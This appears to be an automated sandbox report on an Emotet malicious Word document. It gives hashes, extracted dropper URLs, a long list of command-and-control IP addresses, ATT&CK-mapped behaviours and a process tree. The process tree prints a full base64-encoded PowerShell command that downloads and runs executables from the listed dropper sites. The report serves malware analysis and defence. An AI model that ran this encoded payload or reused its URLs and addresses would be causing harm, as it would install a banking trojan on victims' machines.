emotet | ae2681272e48b4efd111e5bf8b0755deec9c928ac0ef0a2d45a3f12f279b0f28

Analysis

max time kernel
136s
max time network
151s
platform
windows10_x64
resource
win10
submitted
15/09/2020, 07:58

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General

Target
emotet_e2_ae2681272e48b4efd111e5bf8b0755deec9c928ac0ef0a2d45a3f12f279b0f28_2020-09-15__075418._doc.doc
Size 155KB
Sample200915-ejanarwbaj
SHA256 ae2681272e48b4efd111e5bf8b0755deec9c928ac0ef0a2d45a3f12f279b0f28
MD5 a8f8cd02b631fa367e388e9a1c9e01f8
SHA1 00f6b639ee20ebe7c5a3ce04536667dc0e9b22fb
SHA512 7f9208c5552f380760b910f48df72618b28190fb5b71dc6e6bae22ef14b87b3953cbca496b0609b3eae55af162b246154094d55807b81696ab6a1b33b1743e1e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://intrasistemas.com/cgi-bin/mTQls3/
exe.dropper
http://gforcems.it/modules/D/
exe.dropper
http://cooltattoo.es/hatone/6YAA0O2/
exe.dropper
http://diesner.de/css/cf/
exe.dropper
http://go4it24.be/administrator/Q1r3/
exe.dropper
http://eltrafalgar.com/wp-includes/VFSi/
exe.dropper
http://infoestudio.es/cursos/qPP/

Extracted

Family

emotet

104.32.141.43:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
61.92.17.12:80
103.86.49.11:8080
174.45.13.118:80
75.139.38.211:80
104.131.11.150:443
121.124.124.40:7080
200.114.213.233:8080
185.94.252.104:443
181.169.34.190:80
187.161.206.24:80
93.147.212.206:80
176.111.60.55:8080
83.169.36.251:8080
174.102.48.180:443
24.179.13.119:80
120.150.60.189:80
107.5.122.110:80
37.187.72.193:8080
50.91.114.38:80
168.235.67.138:7080
84.39.182.7:80
219.74.18.66:443
91.211.88.52:7080
5.196.74.210:8080
24.137.76.62:80
87.106.136.232:8080
5.39.91.110:7080
104.131.44.150:8080
201.173.217.124:443
62.75.141.82:80
153.177.101.120:443
153.232.188.106:80
139.99.158.11:443
85.66.181.138:80
209.141.54.221:8080
85.152.162.105:80
82.225.49.121:80
162.241.242.173:8080
169.239.182.217:8080
1.221.254.82:80
50.35.17.13:80
78.24.219.147:8080
89.216.122.92:80
82.80.155.43:80
87.106.139.101:8080
85.214.28.226:8080
194.187.133.160:443
74.120.55.163:80
157.245.99.39:8080
74.208.45.104:8080
79.137.83.50:443
139.59.60.244:8080
95.179.229.244:8080
203.153.216.189:7080
203.117.253.142:80
172.91.208.86:80
46.105.131.79:8080
110.145.77.103:80
188.219.31.12:80
68.188.112.97:80
109.74.5.95:8080
62.30.7.67:443
137.59.187.107:8080
156.155.166.221:80
104.236.246.93:8080
94.23.216.33:80
94.23.237.171:443
95.213.236.64:8080
79.98.24.39:8080
97.82.79.83:80
47.144.21.12:443
37.139.21.175:8080
139.162.108.71:8080
12.30.50.130:80
94.200.114.161:80
78.187.156.31:80
61.19.246.238:443
85.105.205.77:8080
139.130.242.43:80
213.196.135.145:80
137.119.36.33:80
24.43.99.75:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1760	640	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1760	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2892	Dkz54ymi0.exe
2740	KBDSG.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\FamilySafetyExt\KBDSG.exe	Dkz54ymi0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3404	WINWORD.EXE
3404	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1760	powershell.exe
1760	powershell.exe
1760	powershell.exe
2740	KBDSG.exe
2740	KBDSG.exe
2740	KBDSG.exe
2740	KBDSG.exe
2740	KBDSG.exe
2740	KBDSG.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
2892	Dkz54ymi0.exe
2892	Dkz54ymi0.exe
2740	KBDSG.exe
2740	KBDSG.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 2892	1760	powershell.exe	80
PID 1760 wrote to memory of 2892	1760	powershell.exe	80
PID 1760 wrote to memory of 2892	1760	powershell.exe	80
PID 2892 wrote to memory of 2740	2892	Dkz54ymi0.exe	83
PID 2892 wrote to memory of 2740	2892	Dkz54ymi0.exe	83
PID 2892 wrote to memory of 2740	2892	Dkz54ymi0.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_ae2681272e48b4efd111e5bf8b0755deec9c928ac0ef0a2d45a3f12f279b0f28_2020-09-15__075418._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABXADIAYwBnAHoAcABzAD0AKAAnAEEAMgAnACsAKAAnADIAcQA2AG8AJwArACcAYwAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBwAFIATwBGAGkATABlAFwAVQBpADcAQwBLADkAOABcAGMAdQBZAFAAdQBYAHYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAcgBJAHQAWQBgAFAAcgBgAE8AVABPAGAAQwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACsAJwAsACAAdABsAHMAMQAxACwAJwApACsAKAAnACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAEgAMQAwADIAMwB2ADIAIAA9ACAAKAAnAEQAJwArACcAawAnACsAKAAnAHoANQAnACsAJwA0AHkAbQAnACsAJwBpADAAJwApACkAOwAkAEoAMAA3AHAAbwB4AGUAPQAoACgAJwBXAGEAcwAnACsAJwB2ACcAKQArACgAJwBhAG8AJwArACcAMgAnACkAKQA7ACQARQA2AHcAcgB0AHQANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAHoARgBmACcAKwAnAFUAaQAnACkAKwAnADcAJwArACcAYwAnACsAKAAnAGsAOQA4AHoARgAnACsAJwBmAEMAJwArACcAdQB5ACcAKQArACcAcAB1ACcAKwAoACcAeAAnACsAJwB2AHoARgBmACcAKQApAC4AIgBSAEUAcABMAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAyADIAKwBbAEMAaABBAHIAXQA3ADAAKwBbAEMAaABBAHIAXQAxADAAMgApACwAJwBcACcAKQApACsAJABIADEAMAAyADMAdgAyACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABCAHUAaABxADAAMgByAD0AKAAnAEgAawAnACsAKAAnADAAMwB2AGcAJwArACcAcAAnACkAKQA7ACQAQwB3AG8AagBhAGwANwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgB3AGUAYgBjAEwASQBFAG4AdAA7ACQAQQA3AHoAYQBmADUAZQA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGkAbgB0AHIAYQBzACcAKQArACgAJwBpAHMAdAAnACsAJwBlACcAKQArACgAJwBtAGEAJwArACcAcwAnACkAKwAoACcALgBjAG8AbQAvACcAKwAnAGMAJwApACsAJwBnACcAKwAoACcAaQAtAGIAJwArACcAaQAnACkAKwAnAG4AJwArACgAJwAvACcAKwAnAG0AVABRAGwAJwApACsAKAAnAHMAMwAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8ALwBnAGYAbwAnACkAKwAoACcAcgBjAGUAJwArACcAbQBzACcAKQArACcALgAnACsAKAAnAGkAJwArACcAdAAvACcAKQArACcAbQAnACsAJwBvACcAKwAnAGQAdQAnACsAKAAnAGwAZQAnACsAJwBzACcAKQArACgAJwAvAEQAJwArACcALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwAnACsAJwBjAG8AbwAnACkAKwAoACcAbAAnACsAJwB0AGEAdAB0AG8AbwAnACkAKwAnAC4AJwArACgAJwBlAHMALwBoACcAKwAnAGEAJwArACcAdABvAG4AZQAnACkAKwAoACcALwA2ACcAKwAnAFkAQQAnACkAKwAoACcAQQAwACcAKwAnAE8AMgAvACoAaAAnACsAJwB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvAC8AZAAnACsAJwBpAGUAJwArACcAcwAnACkAKwAnAG4AZQAnACsAKAAnAHIAJwArACcALgBkAGUALwAnACkAKwAoACcAYwBzAHMALwBjACcAKwAnAGYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBnAG8ANAAnACkAKwAoACcAaQB0ADIANAAnACsAJwAuAGIAJwArACcAZQAvACcAKQArACgAJwBhAGQAbQAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGkAJwArACcAcwB0AHIAYQAnACsAJwB0AG8AcgAvAFEAJwArACcAMQAnACkAKwAnAHIAJwArACgAJwAzAC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGUAJwApACsAJwBsACcAKwAnAHQAJwArACgAJwByAGEAJwArACcAZgBhAGwAJwArACcAZwAnACsAJwBhAHIALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBWAEYAJwArACcAUwBpACcAKQArACgAJwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAGUAJwApACsAKAAnAHMAdAB1AGQAJwArACcAaQAnACkAKwAnAG8ALgAnACsAJwBlACcAKwAoACcAcwAvACcAKwAnAGMAdQByACcAKQArACgAJwBzAG8AcwAvAHEAJwArACcAUABQAC8AJwApACkALgAiAHMAYABwAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgA4AGMAdAB3AHcAbQA9ACgAKAAnAEkAJwArACcAbABzAGMAbgAnACkAKwAnAHUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMADcAMAByAGIAegAyACAAaQBuACAAJABBADcAegBhAGYANQBlACkAewB0AHIAeQB7ACQAQwB3AG8AagBhAGwANwAuACIARABPAHcAbgBgAGwAbwBhAGQAYABGAGAAaQBMAGUAIgAoACQATAA3ADAAcgBiAHoAMgAsACAAJABFADYAdwByAHQAdAA2ACkAOwAkAEMAbwB3ADQAYgBzADUAPQAoACcATQBlACcAKwAoACcAZgBkACcAKwAnAHoAJwApACsAJwBtADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUANgB3AHIAdAB0ADYAKQAuACIATABgAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA5ADEAMQApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABFADYAdwByAHQAdAA2ACkAOwAkAFIAbgBlAGwAaAA1AHIAPQAoACcAQwAnACsAJwBmACcAKwAoACcAeQBpACcAKwAnAHAAbwAxACcAKQApADsAYgByAGUAYQBrADsAJABSAHoAaAB2AHcAMwAxAD0AKAAoACcATABiACcAKwAnAHIAcQBpACcAKQArACcAcABfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAHoAaABmADAANwA9ACgAJwBFAHYAJwArACgAJwA5ACcAKwAnAG0AZwBvACcAKQArACcAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Users\Admin\Ui7ck98\Cuypuxv\Dkz54ymi0.exe
  "C:\Users\Admin\Ui7ck98\Cuypuxv\Dkz54ymi0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\SysWOW64\FamilySafetyExt\KBDSG.exe
    "C:\Windows\SysWOW64\FamilySafetyExt\KBDSG.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1760-9-0x000001E026770000-0x000001E026771000-memory.dmp

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memory/1760-10-0x000001E026920000-0x000001E026921000-memory.dmp

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memory/1760-8-0x00007FFEA21A0000-0x00007FFEA2B8C000-memory.dmp

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memory/2740-19-0x00000000004F0000-0x0000000000500000-memory.dmp

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memory/2740-18-0x00000000006B0000-0x00000000006C2000-memory.dmp

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memory/2892-15-0x0000000000700000-0x0000000000710000-memory.dmp

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memory/2892-14-0x00000000021F0000-0x0000000002202000-memory.dmp

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memory/3404-7-0x000002877BC4A000-0x000002877BC5B000-memory.dmp

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memory/3404-6-0x000002877BC39000-0x000002877BC4A000-memory.dmp

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memory/3404-5-0x000002877BC39000-0x000002877BC4A000-memory.dmp

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memory/3404-0-0x00007FFEA9BB0000-0x00007FFEAA276000-memory.dmp

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memory/3404-4-0x000002877BC4A000-0x000002877BC5B000-memory.dmp

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memory/3404-3-0x000002877BC4A000-0x000002877BC5B000-memory.dmp

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memory/3404-2-0x000002877BAE7000-0x000002877BB1D000-memory.dmp

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memory/3404-1-0x000002877BB1D000-0x000002877BB22000-memory.dmp

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